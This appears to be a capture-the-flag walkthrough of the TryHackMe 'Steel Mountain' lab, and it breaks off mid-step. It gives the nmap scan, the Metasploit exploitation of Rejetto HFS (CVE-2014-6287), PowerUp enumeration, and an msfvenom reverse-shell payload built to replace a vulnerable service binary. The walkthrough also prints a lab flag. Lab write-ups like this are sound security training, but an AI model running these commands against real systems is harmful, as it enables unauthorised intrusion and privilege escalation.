Steel Mountain

Hack into a Mr. Robot themed Windows machine. Use Metasploit for initial access, utilize Powershell for Windows PrivEsc enumeration and learn a new technique to get Administrator access.

Task 1: Introduction

Target IP: 10.10.200.57

http://10.10.200.57

The first question wants us to answer the following:

Who is the employee of the month?

To save you a lot of time and frustration of finding Bill’s last name, simply right click and select “View Page Source”. You should find the following:

<img src=”/img/BillHarper.png” style=”width:200px;height:200px;”/>

Q: Who is the employee of the month?

A: Bill Harper

Task 2: Initial Access

Let’s start by gleaning some information about the IP using Nmap.

nmap -O -sV -sC — script vuln -oN steel.nmap 10.10.200.57

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — Coffee break☕ — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

After scanning and offloading the output to a file named “steel.nmap” so I can use for reference later , we learn that the following ports are open:

Open port enumeration results

Q: Scan the machine with nmap. What is the other port running a web server on?

A: 8080

Since we’ve already taken a look at the first webserver running on port 80, let’s take a look at port 8080.

http://10.10.200.57:8080

The important information given here is located on the bottom left of the page. Select the HttpFileServer 2.3 hyperlink to learn who the vendor is.

Vendor: rejetto

Q: Take a look at the other web server. What file server is running?

A: Rejetto HTTP File Server

With the information that we’ve gathered thus far, we can either use the Exploit-DB website to find any CVE’s that can be used to exploit this server, use the CLI searchsploit command, or we can interact with msfconsole’s local Metasploit framework module database. I’ll be using the searchsploit command to enumerate the exploit along with its CVE number.

Enumerating the CVE. Any of the listed exploits should return the same CVE number.

Q: What is the CVE number to exploit this file server?

A: 2014–6287

Discovered one vulnerability.

Within Metasploit you can run the following to gain a meterpreter session:

use 0

set RHOSTS 10.10.200.57

set RPORT 8080

set LPORT 9090

run

meterpreter session started.

Once we reach our meterpreter session we’ll find that we are located in the following directory path:

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

cd back to C:\Users\bill\Desktop to find your flag.

Q: Use Metasploit to get an initial shell. What is the user flag?

A: b04763b6fcf51fcd7c13abc7db4fd365

Task 3: PrivEsc

Now, we will escalate our privileges to root.

LOLBins!

Download the raw file.

Create a new terminal and place the downloaded .ps1 file into the following path for upload to meterpreter shell.

Follow the THM instructions:

upload completed.

Run the following commands within the meterpreter shell:

load powershell

powershell_shell

Powershell shell successfully loaded.

At this point, what we are trying to do now is run the PowerUp.ps1 script to discover a vulnerability within bill’s system so we can escalate our privileges to root. We do this by finding a service that is running on his machine that is vulnerable to exploitation.
Run the following:

Running PowerUp.ps1 to enumerate vulnerabilities.

Discovering the vulnerable service running on bill’s machine.

Q: Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?

A: AdvancedSystemCareService9

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!
Now you may be asking, which infected program? With the power of msfvenom I can show you. The goal here is to create our own service that we can replace with the real vulnerable “ASCService.exe” running on bill’s machine, under the same service name, with a new infected payload executable generated by the msfvenom tool.
Exit the Powershell shell (Ctrl + C) we don’t need this anymore because we’ve already used it for finding the vulnerable service running on bill’s machine. (We can stay in the PS shell and run commands from here, but we are going to move away from it in the write-up.
Now, we can put our meterpreter session in the background and return to it later (Ctrl + Z). You can fully exit out of the session as well but then you’d have to reconnect which just takes longer. I will be putting it in the background so I can return to it in a bit. What I am going to focus on now is loading the msfvenom payload under the legit service name running on bill’s machine. This way, once the infected ASCService.exe is uploaded, we can masquerade it and swap it out for the vulnerable one.

Getting to where I want to start working w/ msfvenom.

Run the following:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.200.57 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe

Running msfvenom reverse shell payload and saving it as ASCService.exe

Make sure your LHOST is set to whatever your local THM machine VPN IP is set to:

tun0 IP aka LHOST.

.exe downloaded location.

Since my tailored/infected ASCService.exe is located in my /root folder. My meterpreter shell should upload from this specific path. See the following for guidance:

uploading the .exe from the downloaded location.

Also take note to upload from C:\Users\bill. Uploading from other paths may deny you access.
Now, it is time to replace the legitimate service with our infected one.
Drop down a Windows shell by running: